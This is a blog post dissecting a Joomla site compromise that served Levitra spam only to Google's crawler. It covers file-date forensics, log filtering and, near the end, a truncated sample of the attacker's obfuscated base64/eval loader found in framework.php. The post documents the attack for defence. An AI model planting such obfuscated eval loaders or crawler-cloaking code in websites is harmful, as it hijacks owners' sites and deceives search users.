Yet Another Joomla! Search Result Hijack Dissected

This is perhaps the most elegantly executed Joomla! search result hijack I have seen to date. Symptoms presented five days prior to the root of the issue being discovered. Unaware to anyone, Inbound google web crawls were being filled with spam for Levitra products, which was most definitely not what the client intended to sell. Upon noticing, the client notified us, prompting us to restore the last valid backup of the site.

Note that Google wasn’t quite convinced this was the content that was supposed to be there, but dutifully showed the malicious code.  What’s most interesting was all other browsing to the innocent client’s site was displaying the site properly.  There’s been mention here before about similar attacks that redirect the entire site contents and everyone that views it is aware, as it shows that it’s attacked.  Nothing new, just a slight twist: They ONLY redirected inbound google webcrawling traffic to this Levitra filled web spam.

Now we know what’s going on, how do we know what the attacker did?  That’s a different topic entirely.  First, quarantine the site and restore the backup!  Where to go from here is a matter of personal preference.  Most sites’ defacement is simply the result of someone editing a core PHP file for the site’s cms, like configuration.php or index.php and adding their own code.  It’s not very common these days for intruders to post malicious code in plain, searchable text – that makes ripping it down trivial.  A quick findstr or grep to find Levitra within the source of the site.  Instead they base64_encode it and call php to execute the result of

base64_decode("RSXDDFHTLots more of this garbageGFVRGJFTGJVGJG").

First things first, what was the last modified date for your site?  If you see odd files edited after your last edited date, or if the date of core files are not matching up, you are likely looking at when the attack was executed.  In this example, my first reaction was right, as there were a number of files that were edited on the same day.  For example, If on a Linux box:

find -mtime -1 -ls

shows the last 24 hrs edited files, or windows land you’d fire up powershell and run:

Get-ChildItem -Path C:\inetpub\innocentsite.com -Recurse -Include *.html,*.php |
Where-Object {
$_.lastwritetime.day -eq 20 -AND 
$_.lastwritetime.month -eq 11 -AND 
$_.lastwritetime.year -eq 2012}.

Adjust the dates backwards, you’ll have yourself a good idea what day what was done.  The actual date was the 20th and the file modify date could have been manipulated.  So just in case we didn’t find any files with odd dates, we can simply start reading the logs.  That’s reserved for last ditch, there’s atlot of log on most systems, so we automate it and ask for interesting bits.  So here’s the hack date and files:

PS C:\> Get-ChildItem -Path C:\inetpub\innocentsite.com -Recurse -Include *.html,*.php | Where-Object {$_.lastwritetime.day -eq 20 -AND $_.lastwritetime.month -eq 11 -AND $_.lastwritetime.year -eq 2012}
 Directory: C:\inetpub\innocentsite.com\includes
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 11/20/2012 5:17 PM 2327 framework.php
 Directory: C:\inetpub\innocentsite.com\logs
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 11/20/2012 6:55 PM 22474901 error.php

The client made an edit adding pinterest on the 19th, but adjusting settings reveals an index.php file was changed on the 6th:

And again on the 2nd, only this one was two files

So now we have a timeframe to look in the logfiles for, this will sometimes lead us right to the files which have been modified.  Even if we don’t have the above modified dates to go off of, we still can read the logs backwards.  The reason we look is in case the malicious code has any errors that wouldn’t have been worthy of notifying the user about, or didn’t cause execution to fail.  Using these error locations we can see where the malicious files and modifications are.  In this case, a quick peek at the php error logs in c:\php\tmp\ for the 19th and 20th reveals quite a few errors.  Because the file is large, I recommend using findstr to pull out what interests you, and dump to another file to read.

findstr "20-Nov-2012" php_errors.log > 20nov2012errors.log

A quick peek at the file reveals the following:

[20-Nov-2012 23:51:23] PHP Notice: Undefined index: index.php?option=com_content&view=article&id=33&Itemid=52 in C:\Inetpub\innocentsite.com\includes\framework.php(1853) : eval()'d code on line 938
[20-Nov-2012 23:51:23] PHP Notice: Undefined index: ShinyWidgets in C:\Inetpub\innocentsite.com\includes\framework.php(1853) : eval()'d code on line 938
[20-Nov-2012 23:52:05] PHP Notice: Undefined variable: userOk in C:\Inetpub\innocentsite.com\libraries\joomla\application\application.php on line 628
[20-Nov-2012 23:52:08] PHP Notice: Undefined index: about-us in C:\Inetpub\innocentsite.com\includes\framework.php(1853) : eval()'d code on line 938
[20-Nov-2012 23:52:33] PHP Notice: Undefined index: &093 in C:\Inetpub\innocentsite.com\includes\framework.php(1853) : eval()'d code on line 938
[20-Nov-2012 23:52:33] PHP Fatal error: Cannot access protected property JException::$code in C:\Inetpub\innocentsite.com\templates\innocentsite\error.php on line 14
[20-Nov-2012 23:52:33] PHP Notice: Undefined variable: userOk in C:\Inetpub\innocentsite.com\libraries\joomla\application\application.php on line 628
[20-Nov-2012 23:52:50] PHP Notice: Undefined index: &nbspBph&nbspand&nbsptaking&nbsplevitra in C:\Inetpub\innocentsite.com\includes\framework.php(1853) : eval()'d code on line 938
[20-Nov-2012 23:52:50] PHP Fatal error: Cannot access protected property JException::$code in C:\Inetpub\innocentsite.com\templates\innocentsite\error.php on line 14
[20-Nov-2012 23:52:58] PHP Notice: Undefined index: programs/blah in C:\Inetpub\innocentsite.com\includes\framework.php(1853) : eval()'d code on line 938
C:\php\temp>

Success – First this dump implicates framework.php, error.php, and application.php.  Sure enough, at the top of the framework.php file we find our malicious code base 64 encoded.  Only this time, we couldn’t have simply grep’d or findstr’d the site to find and read instances where we call base64_decode because they slightly obfuscated it, by executing the result of echoing the individual characters.  That’s almost slick.

<?php $a='bas'.'e6'.'4_d'.'ecode';eval($a("CgokUGFnZXNDb25maWcgPSBhcnJheQooCgknJyAgICAgICA9PiBhcnJheSgnbGV2aXRyYXx2YXJk
ZW5hZmlsJywgJ2h0dHA6Ly9hZHZhbmNlc3R1bm5pbm

Scrolling past this wall of text, we find this undefined variable userok that’s not being declared.  If we compare what should be there to what is, we get…

More to come in the next post!